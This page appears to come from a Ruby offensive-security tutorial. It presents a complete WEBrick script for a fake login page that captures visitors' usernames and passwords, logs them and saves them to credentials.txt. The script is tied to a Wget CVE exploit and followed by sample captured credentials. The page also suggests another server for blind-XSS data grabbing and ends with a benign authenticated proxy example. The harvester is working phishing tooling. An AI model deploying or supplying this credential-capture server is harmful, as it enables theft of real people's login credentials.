During working on CVE-2016-4971(Wget) exploit, more advanced & custom behavior needed. Here is a web server with a fake login form that saves the collected credentials to a text file. This comes in handy when you don't need to make customizations on apache config or you don't have enough privileges to do so. It require no knowledge for web frameworks like Rails or Senatra.
#!/usr/bin/env ruby## KING SABRI | @KINGSABRI#require'webrick'## Servlet: Is a Web Server with custom behavior class# It's a subclass of WEBrick::HTTPServlet::AbstractServlet#classRubyfuServlet<WEBrick::HTTPServlet::AbstractServlet# Control 'GET' request/responsedefdo_GET(req, res) res.status =200 res['Content-Type'] ="text/html; charset=UTF-8" res['Server'] ="Rubyfu WebServer" res['Cache-Control'] ="no-store, no-cache," res.body = print_login(req)endprivate# Show logindefprint_login(req) html =%q{<center><table cellpadding="3" border="1"><tr><td colspan="2"><center><h4><b>Enter your UsernameandPassword</b></h4></center></td></tr><form method="POST" action="/login"><tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr><tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr><tr><td colspan="2"><center><h1><b><input type="submit" value="Login"/></b></h1></center></td></tr></form></table></center> }endendclassLogin<WEBrick::HTTPServlet::AbstractServlet# Control 'POST' request/responsedefdo_POST(req, res) status, content_type, body = save_login(req) res.body = bodyend# Save POST requestdefsave_login(req) username, password = req.query['username'], req.query['password']if!(username && password).empty?# Print Credentials to consoleputs"\n-----[ START OF POST ]-----"puts"[+] #{username}:#{password}"puts"-----[ END OF POST ]-----\n\n"# Write Credentials to fileFile.open("credentials.txt",'+a') {|f| f.puts"#{username}:#{password}"}return200,'text/plain','Success! Thank you.'elseputs"[!] Empty username and password."return404,'text/plain','Wrong username or password!'endendendbegin port =ARGV[0]raiseifARGV.size <1# Start Web Serverputs"[+] Starting HTTP server on port: #{port}\n" server =WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server", Port: port, BindAddress: '0.0.0.0', AccessLog: [], Logger: WEBrick::Log.new(File.open(File::NULL,'w')) ) server.mount("/",RubyfuServlet) server.mount("/login",Login)trap"INT"do server.shutdown end server.startrescueException=> eputs"ruby #{__FILE__} <WEB_SERVER_PORT>"ifARGV.size <1puts e, e.backtraceexit0end
Run it
ruby webrick-server.rb 8080
[+] Starting HTTP server on port: 8080
-----[ START OF POST ]-----
[+] admin:AdminPassw0rd@!
-----[ END OF POST ]-----
-----[ START OF POST ]-----
[+] support:Puppies
-----[ END OF POST ]-----
[!] Empty username and password.
-----[ START OF POST ]-----
[+] user1:12345678
-----[ END OF POST ]-----
You'll find credentials have been saved in 'credentials.txt'
Agoo has a logging class which allows controlling which data you want deplayed, this is useful for data grabbing (eg. blind XSS). As you can also configure some routes without using an application framework. It is also useful for quick exploit writting when you need to return a special answer.
Well, it was great to know that building a proxy server is that easy. Now we need to Force authentication to connect to the proxy server
To enable authentication for requests in WEBrick you will need a user database and an authenticator. To start, here's a htpasswd database for use with a DigestAuth authenticator:
The :Realm is used to provide different access to different groups across several resources on a server. Typically you'll need only one realm for a server.
#!/usr/bin/env rubyrequire'webrick'require'webrick/httpproxy'# Start creating the configconfig = { :Realm =>'RubyFuSecureProxy' }# Create an htpasswd database file in the same script pathhtpasswd =WEBrick::HTTPAuth::Htpasswd.new'rubyfuhtpasswd'# Set authentication typehtpasswd.auth_type =WEBrick::HTTPAuth::DigestAuth# Add user to the password confightpasswd.set_passwd config[:Realm],'rubyfu','P@ssw0rd'# Flush the database (Save changes)htpasswd.flush# Add the database to the configconfig[:UserDB] = htpasswd# Create a global DigestAuth based on the config@digest_auth =WEBrick::HTTPAuth::DigestAuth.new config# Authenticate requests and responseshandler =procdo|request, response| @digest_auth.authenticate request, responseendproxy =WEBrick::HTTPProxyServer.new Port: 8000, ServerName: "RubyFuSecureProxy", ServerSoftware: "RubyFu Proxy", ProxyContentHandler: handlertrap'INT'do proxy.shutdown endproxy.start
If you do it right, you'll get an authentication pop-up in your browser just like below.